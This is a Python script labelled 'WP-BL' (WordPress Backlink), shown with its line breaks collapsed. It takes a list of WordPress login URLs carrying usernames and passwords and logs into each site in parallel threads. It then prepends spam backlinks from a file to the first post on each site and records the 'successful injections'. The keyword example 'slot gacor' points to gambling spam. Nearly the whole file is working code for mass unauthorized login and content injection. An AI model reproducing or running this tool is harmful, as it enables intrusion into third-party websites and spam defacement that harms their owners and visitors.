import requestsimport osimport sysimport reimport htmlfrom multiprocessing.dummy import Poolfrom urllib.parse import quotefrom bs4 import BeautifulSoupfrom colorama import Fore, initfrom cfonts import saytry: from urllib.parse import urlparseexcept ImportError: from urlparse import urlparsekeywordSearch = ""init(autoreset=True)requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)def Banner(): os.system("cls" if os.name == "nt" else "clear") say("WP-BL", colors=["red", "green"], align="center") say("Wordpress Backlink", space=False, font="console", colors=["white"], background="red", align="center") print("")def getLinkCheck(data): try: soup = BeautifulSoup(data, 'html.parser') span_tag = soup.find('span', id='sample-permalink') link_tag = span_tag.find('a') href_value = link_tag['href'] return href_value except: return ""class WordPressBL: def __init__(self, url, username, password): self.url = url.split("/wp-login.php")[0] self.bl = open("bl.txt", "r").read() self.username = username self.password = password self.headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36" } self.session = requests.Session() self.timeout = 15 def getLinkCheck(self, data): try: soup = BeautifulSoup(data, 'html.parser') span_tag = soup.find('span', id='sample-permalink') link_tag = span_tag.find('a') href_value = link_tag['href'] return href_value except: return None def Login(self): try: response = self.session.get(f"{self.url}/wp-login.php", verify=False, headers=self.headers, timeout=self.timeout) login = self.session.post(f"{self.url}/wp-login.php", data={ "log": self.username, "pwd": self.password, "rememberme": "forever", "testcookie": "1", "redirect_to": f"{self.url}/wp-admin/", "wp-submit": re.findall('id="wp-submit" class="button button-primary button-large" value="(.*?)" />', response.text)[0] }, verify=False, headers=self.headers, timeout=self.timeout) if "wp-admin/profile.php" in self.session.get(self.url + "/wp-admin/", verify=False, headers=self.headers, timeout=self.timeout).text: return True else: return False except: return False def CheckInspection(self, url): global keywordSearch try: req = requests.get(url, verify=False, timeout=self.timeout, headers=self.headers) if keywordSearch in req.text: return True else: return False except: return False def Logs(self, args): sys.stdout.write(f"\n{args}") def Start(self): if self.Login(): try: req = self.session.get(self.url + "/wp-admin/edit.php", verify=False, headers=self.headers, timeout=self.timeout) postID = re.findall(r'name="post\[\]" value="(.*?)"', req.text)[0] reqEdit = self.session.get(self.url + f"/wp-admin/post.php?post={postID}&action=edit", verify=False, headers=self.headers, timeout=self.timeout).text wpnonce = re.findall(r'name="_wpnonce" value="(.*?)"', reqEdit)[0] wphttpref = re.findall(r'name="_wp_http_referer" value="(.*?)"', reqEdit)[0] userID = re.findall(r'name="user_ID" value="(.*?)"', reqEdit)[0] actionHidden = re.findall(r'name="action" value="(.*?)"', reqEdit)[0] originalaction = re.findall(r'name="originalaction" value="(.*?)"', reqEdit)[0] post_author = re.findall(r'name="post_author" value="(.*?)"', reqEdit)[0] post_type = re.findall(r'name="post_type" value="(.*?)"', reqEdit)[0] originalPostStatus = re.findall(r'name="original_post_status" value="(.*?)"', reqEdit)[0] referredby = re.findall(r'name="referredby" value="(.*?)"', reqEdit)[0] wp_original_http_referer = re.findall(r'name="_wp_original_http_referer" value="(.*?)"', reqEdit)[0] soup = BeautifulSoup(reqEdit, 'html.parser') content = soup.find('textarea', id='content').text.strip() data = { "_wpnonce": wpnonce, "_wp_http_referer": html.unescape(wphttpref), "user_ID": userID, "action": actionHidden, "originalaction": originalaction, "post_author": post_author, "post_type": post_type, "original_post_status": originalPostStatus, "referredby": html.unescape(referredby), "_wp_original_http_referer": html.unescape(wp_original_http_referer), "post_ID": postID, "content": self.bl + content } linkCheck = self.getLinkCheck(reqEdit) reqS = self.session.post(self.url + "/wp-admin/post.php", data=data, allow_redirects=False, headers=self.headers, timeout=self.timeout) if reqS.status_code == 302: if linkCheck != None: if self.CheckInspection(linkCheck): open("DoneTempel.txt", "a").write(linkCheck + "\n") self.Logs(f"{Fore.LIGHTCYAN_EX}[{Fore.LIGHTGREEN_EX}SUCESS INJECT{Fore.LIGHTCYAN_EX}] {Fore.WHITE}-- {linkCheck}") else: self.Logs(f"{Fore.LIGHTCYAN_EX}[{Fore.LIGHTRED_EX}FAIL INJECT{Fore.LIGHTCYAN_EX}] {Fore.WHITE}-- {self.url}") else: self.Logs(f"{Fore.LIGHTCYAN_EX}[{Fore.LIGHTRED_EX}FAIL INJECT{Fore.LIGHTCYAN_EX}] {Fore.WHITE}-- {self.url}") else: self.Logs(f"{Fore.LIGHTCYAN_EX}[{Fore.LIGHTRED_EX}FAIL INJECT{Fore.LIGHTCYAN_EX}] {Fore.WHITE}-- {self.url}") except: self.Logs(f"{Fore.LIGHTCYAN_EX}[{Fore.LIGHTRED_EX}Err{Fore.LIGHTCYAN_EX}] {Fore.WHITE}-- {self.url}") else: self.Logs(f"{Fore.LIGHTCYAN_EX}[{Fore.LIGHTRED_EX}FAIL LOGIN{Fore.LIGHTCYAN_EX}] {Fore.WHITE}-- {self.url}")def Runner(url): try: uparse = urlparse(url) site = uparse.scheme + "://" + uparse.netloc + uparse.path.replace("wp-login.php", "") ufrag = uparse.fragment.split("@") username = ufrag[0]; password = "" for s in ufrag[1:]: if password == "": password += s else: password += "@" + s WordPressBL(url, username, password).Start() except Exception as e: sys.stdout.write(f"{Fore.LIGHTCYAN_EX}[{Fore.LIGHTRED_EX}Fail Login{Fore.LIGHTCYAN_EX}] {Fore.WHITE}-- {url}")if __name__ == "__main__": Banner() input_list = [ j.strip("\r\n") for j in open(input(f"{Fore.LIGHTRED_EX}[{Fore.LIGHTGREEN_EX}?{Fore.LIGHTRED_EX}] {Fore.WHITE}List : "), "r", encoding="ISO-8859-1").readlines() ] keyword = input(f"{Fore.LIGHTRED_EX}[{Fore.LIGHTGREEN_EX}?{Fore.LIGHTRED_EX}] {Fore.WHITE}Keyword Search (ex: slot gacor) : ") keywordSearch = keyword input_thread = input(f"{Fore.LIGHTRED_EX}[{Fore.LIGHTGREEN_EX}?{Fore.LIGHTRED_EX}] {Fore.WHITE}Thread : ") pool = Pool(int(input_thread)) pool.map(Runner, input_list) pool.close() pool.join()